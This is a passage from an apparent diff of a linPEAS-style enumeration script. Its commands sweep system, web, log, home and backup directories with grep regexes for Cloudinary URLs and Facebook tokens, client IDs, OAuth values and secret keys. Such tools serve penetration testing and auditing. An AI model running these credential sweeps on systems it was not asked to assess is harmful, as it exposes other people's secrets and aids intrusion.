"cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Github (limited to 50)" -timeout 120 find 